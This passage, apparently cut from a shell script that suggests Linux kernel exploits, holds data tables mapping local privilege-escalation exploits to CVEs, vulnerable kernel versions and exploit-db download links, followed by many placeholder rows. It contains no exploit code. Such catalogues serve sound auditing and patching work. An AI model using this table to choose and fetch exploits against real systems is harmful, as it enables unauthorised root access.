2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 econet http://www.exploit-db.com/exploits/17787 kdump 2.6.13 km2 2.4.18,2.4.22 krad 2.6.5,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11 krad3 2.6.5,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11 http://exploit-db.com/exploits/1397 local26 2.6.13 loginx 2.4.22 loko 2.4.22,2.4.23,2.4.24 memodipper 2012-0056 2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0 http://www.exploit-db.com/exploits/18411 mremap_pte 2.4.20,2.2.24,2.4.25,2.4.26,2.4.27 http://www.exploit-db.com/exploits/160 msr 2013-0268 2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6 http://www.exploit-db.com/exploits/27297 newlocal 2.4.17,2.4.19 newsmp 2.6 ong_bak 2.6.5 overlayfs 2015-8660 3.13.0,3.16.0,3.19.0 http://www.exploit-db.com/exploits/39230 EOF_DATA_5 )" KERNEL_CVE_DATA_6="$(cat <<'EOF_DATA_6' packet_set_ring 2017-7308 4.8.0 http://www.exploit-db.com/exploits/41994 perf_swevent 2013-2094 3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.4.1,3.4.2,3.4.3,3.4.4,3.4.5,3.4.6,3.4.8,3.4.9,3.5.0,3.6.0,3.7.0,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.8,3.8.9 http://www.exploit-db.com/exploits/26131 pipe.c_32bit 2009-3547 2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31 http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c pktcdvd 2010-3437 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 http://www.exploit-db.com/exploits/15150 pp_key 2016-0728 3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.8,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1 http://www.exploit-db.com/exploits/39277 prctl 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17 http://www.exploit-db.com/exploits/2004 prctl2 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17 http://www.exploit-db.com/exploits/2005 prctl3 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17 http://www.exploit-db.com/exploits/2006 prctl4 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17 http://www.exploit-db.com/exploits/2011 ptrace 2.4.18,2.4.19,2.4.20,2.4.21,2.4.22 ptrace24 2.4.9 CVE-2007-4573 ptrace_kmod 2.4.18,2.4.19,2.4.20,2.4.21,2.4.22 1 ptrace_kmod2 2010-3301 2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34 ia32syscall,robert_you_suck http://www.exploit-db.com/exploits/15023 pwned 2.6.11 py2 2.6.9,2.6.17,2.6.15,2.6.13 raptor_prctl 2006-2451 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17 http://www.exploit-db.com/exploits/2031 rawmodePTY 2014-0196 2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.14.0,3.15.0 http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c rds 2010-3904 2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 http://www.exploit-db.com/exploits/15285 reiserfs 2010-1146 2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34 http://www.exploit-db.com/exploits/12130 remap 2.4 rip 2.2 CVE-2008-4113 sctp 2.6.26 1 semtex 2013-2094 2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0 http://www.exploit-db.com/exploits/25444 smpracer 2.4.29 sock_sendpage 2009-2692 2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30 wunderbar_emporium http://www.exploit-db.com/exploits/9435 EOF_DATA_6 )" KERNEL_CVE_DATA_7="$(cat <<'EOF_DATA_7' sock_sendpage2 2009-2692 2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30 proto_ops http://www.exploit-db.com/exploits/9436 stackgrow2 2.4.29,2.6.10 timeoutpwn 2014-0038 3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.9,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.5,3.8.6,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1 http://www.exploit-db.com/exploits/31346 CVE-2009-1185 udev 2.6.25,2.6.26,2.6.27,2.6.28,2.6.29 udev <1.4.1 1 http://www.exploit-db.com/exploits/8478 udp_sendmsg_32bit 2009-2698 2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19 http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c uselib24 2.6.10,2.4.17,2.4.22,2.4.25,2.4.27,2.4.29 CVE-2009-1046 vconsole 2.6 1 video4linux 2010-3081 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33 http://www.exploit-db.com/exploits/15024 vmsplice1 2008-0600 2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.24.1 jessica biel http://www.exploit-db.com/exploits/5092 vmsplice2 2008-0600 2.6.23,2.6.24 diane_lane http://www.exploit-db.com/exploits/5093 w00t 2.4.10,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21 CVE-2004-0186 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2007-4573 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2008-0009 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2008-0010 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-0065 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-1046 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-1185 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-1897 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-2910 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2009-3001 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2010-0832 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2010-2240 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2010-2963 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2010-4170 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_7 )" KERNEL_CVE_DATA_8="$(cat <<'EOF_DATA_8' CVE-2010-4258 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2011-1485 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2011-1493 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2011-2921 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2012-0809 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2013-1763 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2014-0476 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2014-3153 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2014-4322 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2014-5119 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2014-9322 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-0568 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-0570 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-1318 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-1805 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-1815 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-1862 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-3202 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-3246 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-3315 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-3636 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-5287 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-6565 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2015-8612 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-0819 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_8 )" KERNEL_CVE_DATA_9="$(cat <<'EOF_DATA_9' CVE-2016-0820 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-10277 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-1240 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-1247 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-1531 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-1583 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2059 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2411 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2434 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2435 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2475 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-2503 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-3857 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-3873 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-4989 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-5340 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-5425 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-6187 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-6662 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-6663 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-6664 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-6787 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-7117 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-8453 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2016-8633 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_9 )" KERNEL_CVE_DATA_10="$(cat <<'EOF_DATA_10' CVE-2016-9566 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-0358 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-0403 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-0437 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-0569 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000251 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000363 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000366 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000367 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000370 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000371 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000379 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000380 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-1000405 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-10661 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-11176 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-16695 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-18344 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-2636 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-5123 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-5618 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-5899 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-7184 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2017-7616 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-1000001 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_10 )" KERNEL_CVE_DATA_11="$(cat <<'EOF_DATA_11' CVE-2018-10900 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-14665 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-17182 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-18281 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-3639 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-6554 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-6555 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-8781 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2018-9568 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-10149 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-10567 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-11190 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-12181 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-14040 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-14041 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-16508 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-18634 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-18675 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-18683 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-18862 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-19377 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-2000 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-2025 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-2181 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-2214 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_11 )" KERNEL_CVE_DATA_12="$(cat <<'EOF_DATA_12' CVE-2019-2215 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-7304 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-7308 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-9213 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-9500 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2019-9503 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-0041 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-0423 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-11179 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-12351 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-12352 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-14356 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-14381 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-14386 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-16119 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-24490 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-25220 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-27194 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-27786 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-28343 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-28588 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-3680 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-8835 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2020-9470 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-0399 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_12 )" KERNEL_CVE_DATA_13="$(cat <<'EOF_DATA_13' CVE-2021-0920 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1048 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1905 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1940 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1961 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1968 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-1969 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-20226 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-23134 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-25369 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-25370 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-26341 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-26708 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-27363 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-27364 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-28663 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-28664 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-29657 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-3156 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-32606 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-33909 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-34866 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-3492 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-3573 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-3609 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_13 )" KERNEL_CVE_DATA_14="$(cat <<'EOF_DATA_14' CVE-2021-3715 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-39793 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-39815 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-4034 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-41073 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-42008 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-4204 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-42327 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-43267 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-4440 catalog_reference_only 9999.9999.9999 0 Reference-only 